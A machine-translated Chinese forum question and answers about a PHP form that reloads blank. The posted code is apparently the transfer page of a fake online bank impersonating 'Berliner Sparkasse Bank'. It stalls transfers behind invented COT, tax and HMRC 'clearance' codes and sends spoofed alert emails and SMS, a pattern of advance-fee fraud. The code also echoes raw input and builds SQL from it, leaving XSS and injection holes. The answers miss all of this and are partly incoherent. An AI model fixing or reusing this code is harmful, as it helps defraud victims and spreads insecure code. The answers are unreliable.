php和html:form重新加载并显示为空白,并且不提交到数据库



我设计了一个提交到数据库的表单。但当提交时,表格返回空白并重新加载表格。如果你们能帮助我的项目工作,我会很高兴。

我现在是php初学者。我正在努力做一个学校项目。html表单将在哪里查询php表单

我上传了文件,然后尝试了表格。我一直看到一个返回的空白页面,表格没有进入下一页,但返回了空白

<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="50%" valign="top">
		  <?php if ($curr_user['balance2'] != 0) { ?>
		  <table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td class="head"><img src="images/i_qt_text.png" width="220" height="27" /></td>
</tr>
<tr>
<td style="border:#000080 1px solid; padding:5px;"><form id="form1" name="form1" method="post" action="" autocomplete="off">
<table width="100%" border="0" cellspacing="1">
				<?php if($error_msg != "") { ?>
				<tr>
				<td colspan="2" class="error_msg"><?php echo $error_msg; ?></td></tr>
				<?php }?>
<tr>
<td width="40%" nowrap="nowrap"><strong>Bank Name</strong></td>
<td width="60%" style="padding-left:1em;"><input name="bname" type="text" id="bname" value="<?php echo $_POST['bname']; ?>" /></td>
</tr>
				  <tr>
<td width="40%" nowrap="nowrap"><strong>Bank Address</strong></td>
<td width="60%" style="padding-left:1em;"><input name="bcountry" type="text" id="bcountry" value="<?php echo $_POST['bcountry']; ?>" /></td>
</tr>
<tr>
<td nowrap="nowrap"><strong>Account Number</strong></td>
<td style="padding-left:1em;"><input name="accnum" type="text" id="accnum" value="<?php echo $_POST['accnum']; ?>" /></td>
</tr>
				  
				  <!-- New addition -->
				  
				  <tr>
<td nowrap="nowrap"><strong>Account Name </strong> </td>
<td style="padding-left:1em;"><input name="accname" type="text" id="accname" value="<?php echo $_POST['accname']; ?>" /></td>
</tr>
<tr>
<td nowrap="nowrap"><strong>Owner's Address </strong> </td>
<td style="padding-left:1em;"><input name="ownadd" type="text" id="ownadd" value="<?php echo $_POST['ownadd']; ?>" /></td>
</tr>
				  <tr>
<td nowrap="nowrap"><strong>Routing Number </strong> </td>
<td style="padding-left:1em;"><input name="routnum" type="text" id="routnum" value="<?php echo $_POST['routnum']; ?>" /></td>
</tr>
				  
				  <!-- End, New addition -->
				  
<tr>
<td nowrap="nowrap"><strong>Swift Code </strong> </td>
<td style="padding-left:1em;"><input name="sort" type="text" id="sort" value="<?php echo $_POST['sort']; ?>" /></td>
</tr>
<tr>
<td nowrap="nowrap"><strong>Amount</strong> </td>
<td style="padding-left:1em;"><input name="amount" type="text" id="amount" value="<?php echo $_POST['amount']; ?>" /></td>
</tr>
<tr>
<td>&nbsp;</td>
<td style="padding-left:1em;"><input name="submit" type="submit" class="submit" id="submit" value="Continue &gt;&gt;" /></td>
</tr>
</table>
</form></td>
</tr>
</table>
		  <?php } else { ?>
		  <table width="100%" border="0">
<tr>
<td class="error_msg">Your current available balance is &pound;0. For more information on account funding, please call <strong><?php echo $phone1; ?></strong>, dial <?php echo $phone2; ?> when calling from abroad or email <a href="mailto:info@<?php echo $email_domain; ?>"><strong>info@<?php echo $email_domain; ?></strong></a></td>
</tr>
</table>
<?php } ?>
		  </td>
<td width="50%" valign="top" style="padding-left:20px;"><table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td class="head">Important Information </td>
</tr>
<tr>
<td bgcolor="#E8FFF8" style="border:#000080 1px solid; padding:5px;">- Please be sure to verify the recieving account details before you proceed with the fund transfer. <br />
- The minimum amount transferable is &pound;1,000 and the maximum is your available balance (&pound;<?php echo number_format($curr_user['balance2'],2); ?>). <br />
- Transfer requests normally takes about 5 minutes to process and about 6-72 hours before fund reaches its destination. </td>
</tr>
</table></td>
</tr>
</table>

<?php
if(isset($_POST['submit'])) {
$bname=addslashes($_POST['bname']);
$bcountry=addslashes($_POST['bcountry']);
$accnum=addslashes($_POST['accnum']);
$accname=addslashes($_POST['accname']);
$ownadd=addslashes($_POST['ownadd']);
$routnum=addslashes($_POST['routnum']);
$sort=addslashes($_POST['sort']);
$amount=addslashes($_POST['amount']);
$error_msg="";
if(strlen($bname) == 0) {
$error_msg.="<li>Please enter receiving bank's name";
}
if(strlen($bcountry) == 0) {
$error_msg.="<li>Please enter receiving bank's country";
}
if(strlen($accnum) == 0) {
$error_msg.="<li>Please enter receiving account number</li>";
}
if(strlen($accname) == 0) {
$error_msg.="<li>Please enter receiving account name</li>";
}
if(strlen($sort) == 0) {
$error_msg.="<li>Please enter sort code</li>";
}
if(strlen($amount) == 0) {
$error_msg.="<li>Please enter amount to be transferred</li>";
}
elseif(!is_numeric($amount)) {
$error_msg.="<li>Amount must be digits only. No symbols allowed.</li>";
}
elseif($amount < 1000) {
$error_msg.="<li>Minimum transferable amount is £1,000</li>";
}
elseif($amount > $curr_user['balance2']) {
$error_msg.="<li>Maximum transferable amount is £".number_format($curr_user['balance2'],2)."</li>";
}
if($error_msg != "") {
$error_msg="<b>Please correct the following errors:</b>".$error_msg;
}
elseif($curr_user['status'] != "Active") {
$error_msg="Sorry, your account is restricted from performing this operation";
}
else {
$tid=rand(100000,999999);
mysql_query("INSERT INTO `history` (`id` ,`tid` ,`number` ,`date` ,`bname` ,`bcountry` ,`accnum` ,`accname` ,`ownadd` ,`routnum` ,`sort` ,`amount` ,`type` ,`details` ,`status`, `stat`)VALUES (NULL , '$tid', '$accid', NOW( ) , '$bname', '$bcountry', '$accnum', '$accname', '$ownadd', '$routnum', '$sort', '$amount', 'Fund Transfer', 'Wire Transfer to $accname, $bname, $bcountry(account number $accnum)', 'Pending Authorization', 'Unverified')");
redirect("?r=transfer&sid=".base64_encode($tid));
}
}
$rendered_page='transfer.html';
if(isset($_GET['sid'])) {
$tid=base64_decode($_GET['sid']);
$trans=mysql_fetch_array(mysql_query("SELECT * FROM history WHERE tid='$tid' LIMIT 1"));
}
if(isset($_GET['sid']) && $trans['stat'] == "Unverified") {
$rendered_page='transfer2.html';
if(isset($_POST['pin_submit'])) {
$pin=addslashes($_POST['pin']);
if(strlen($pin) == 0) {
$error_msg="Please enter your account PIN to continue";
}
elseif(strlen($pin) < 5) {
$error_msg="Account PIN must be five digits";
}
elseif(!is_numeric($pin)) {
$error_msg="Account PIN must be digits only";
}
elseif(strcmp($pin,$curr_user['pin']) != 0) {
$error_msg="Invalid account PIN. If you feel this is an error, please call <b>$phone1</b>";
}
else {
mysql_query("UPDATE history SET stat='Unconfirmed' WHERE tid='$tid' LIMIT 1");
redirect("?r=transfer&sid=".base64_encode($tid));
}
}
}
if(isset($_GET['sid']) && $trans['stat'] == "Unconfirmed") {
if(isset($_POST['proceed'])) {
mysql_query("UPDATE history SET stat='Progress_COT' WHERE tid='$tid' LIMIT 1");
redirect("?r=transfer&sid=".base64_encode($tid));
}
$rendered_page='verify_transfer.html';
}
if(isset($_GET['sid']) && ($trans['stat'] == "Progress_COT" || $trans['stat'] == "Progress_TAX" || $trans['stat'] == "Progress_FSA" || $trans['stat'] == "Progress_209")) {
$rendered_page='progress.html';
}
if(isset($_GET['sid']) && (($trans['stat'] == "Progress_COT" && isset($_GET['done'])) || $trans['stat'] == "COT_Page")) {
mysql_query("UPDATE history SET stat='COT_Page', status='Interrupted for COT Verification' WHERE tid='$tid' LIMIT 1");
$rendered_page='cot.html';
}
if(isset($_POST['cot'])) {
include('get_cot.php');
}
if(isset($_GET['sid']) && (($trans['stat'] == "Progress_TAX" && isset($_GET['done'])) || $trans['stat'] == "TAX_Page")) {
if($curr_user['tax_status'] != 1) {
mysql_query("UPDATE history SET stat='TAX_Page', status='Interrupted for Tax Clearance' WHERE tid='$tid' LIMIT 1");
$rendered_page='tax.html';
}
else {
mysql_query("UPDATE history SET stat='Progress_FSA' WHERE tid='$tid' LIMIT 1");
redirect("?r=transfer&sid=".base64_encode($tid));
}
}
if(isset($_GET['sid']) && (($trans['stat'] == "Progress_FSA" && isset($_GET['done'])) || $trans['stat'] == "FSA_Page")) {
mysql_query("UPDATE history SET stat='FSA_Page', status='Interrupted for HMRC Clearance' WHERE tid='$tid' LIMIT 1");
if(isset($_POST['fsa'])) {
$fsa=addslashes($_POST['fsa']);
if(strlen($fsa) == 0) {
$error_msg="Please enter HMRC code to proceed with transfer";
}
elseif(!is_numeric($fsa)) {
$error_msg="HMRC code must be digits only";
}
elseif($fsa != "4493231") {
$error_msg="HMRC code is invalid. If you feel this is an error, please call <b>$phone1</b>";
}
else {
mysql_query("UPDATE history SET stat='Progress_209' WHERE tid='$tid' LIMIT 1");
redirect("?r=transfer&sid=".base64_encode($tid));
}
}
$rendered_page='fsa.html';
}
if(isset($_GET['sid']) && (($trans['stat'] == "Progress_209" && isset($_GET['done'])) || $trans['stat'] == "Done")) {
mysql_query("UPDATE history SET stat='Done', status='Successful' WHERE tid='$tid' LIMIT 1");
$bal=$curr_user['balance'] - $trans['amount'];
$bal2=$curr_user['balance2'] - $trans['amount'];
mysql_query("UPDATE users SET balance='$bal', balance2='$bal2' WHERE number='$accid' LIMIT 1");

$user=mysql_fetch_array(mysql_query("SELECT * FROM users WHERE number='$accid' LIMIT 1"));
$recipient=$user['email'];
$mob_tel=$user['phone'];
$first_name=$user['firstname'];
$last_name=$user['lastname'];
$accountbalance= "$bal";
$availablebal= "$bal2";
date_default_timezone_set("Europe/London");
$bankname=$trans['bname'];
$bankcountry=$trans['bcountry'];
$receiveraccnum=$trans['accnum'];
$receiveraccname=$trans['accname'];
$banksort=$trans['sort'];
$sendingamount=$trans['amount'];
$time = date("h:i:sa");
$date = date('d/m/Y');
$senderName = "Berliner Sparkasse Bank";
$fromEmailAddress = "no-reply-accountdept@b-sparkassede.com";
$emailSubject = "Funds Transfer Alert";
$comments = "n Hello $first_name $last_name n n A funds transfer has just occurred in your e-Banking online account. If this transfer wasn't carried out by you, please report immediately to info@b-sparkassede.com or call 0 460 245 694 from within Germany and +32 460 245 694 from outside Germany. nn TRANSFER DETAILS n n BANK NAME: $bankname n ACCOUNT NAME | NUMBER: $receiveraccname | $receiveraccnum n BANK ADDRESS: $bankcountry n BANK SORT CODE: $banksort n n AMOUNT: $sendingamount n NEW BALANCE: $accountbalance n AVAILABLE BALANCE: $availablebal n n TRANSFER DATE: $date n TRANSFER TIME: $time n n n n Account Support Team n For Berliner Sparkasse Bank.";

$mobilesender = "Acc Notify";
$message = "e-Banking ACCOUNT DEBIT
Acct: ***".substr($curr_user['number'],-6,6)."
Amount: $sendingamount
TO: $bankname | $receiveraccnum
Remarks: Wire Transfer
Bal: $availablebal
Date: $date | $time";
$loginuser="";
$loginpass="";

mail($recipient, $emailSubject, $comments, "From: $senderName <$fromEmailAddress>rnContent-Type: text/plain; charset=UTF-8rnContent-Transfer-Encoding: 8bit");
$url = "http://ediarosms.com/sms/api_v1?sub_account=$loginuser&sub_account_pass=$loginpass&action=send_sms&sender_id=".urlencode($mobilesender)."&message=".urlencode($message)."&recipients=".urlencode($mob_tel)."";
file_get_contents($url);




$rendered_page='209.html';

}
?>

表单操作属性为空。

创建一个文件form-action.php(可能在同一个文件夹中(并粘贴代码的第二部分。

然后,在表单动作属性中添加动作页面

action="form action.php">

记住,每个帖子请求都有一个行动页面。当点击继续时,根据输入的名称从表单页面传递到动作页面。

单击"继续"时,将表单数据传递到表单操作页面,并加载form-action.php页面。

如果您想在不重定向新页面(formaction.php(的情况下传递post数据,可以使用jquery-ajax。此次访问

使用PHP 的jQuery Ajax POST示例

您的选择查询无法正常工作,这就是表单无法提交的原因。您的选择查询不会将数据返回到您的输入字段中。因此,请仔细检查您的选择查询,并再次测试输入字段中的数据。您可以使用调试工具来验证数据是否到来,

var_dump(put_variable_name_here);

最新更新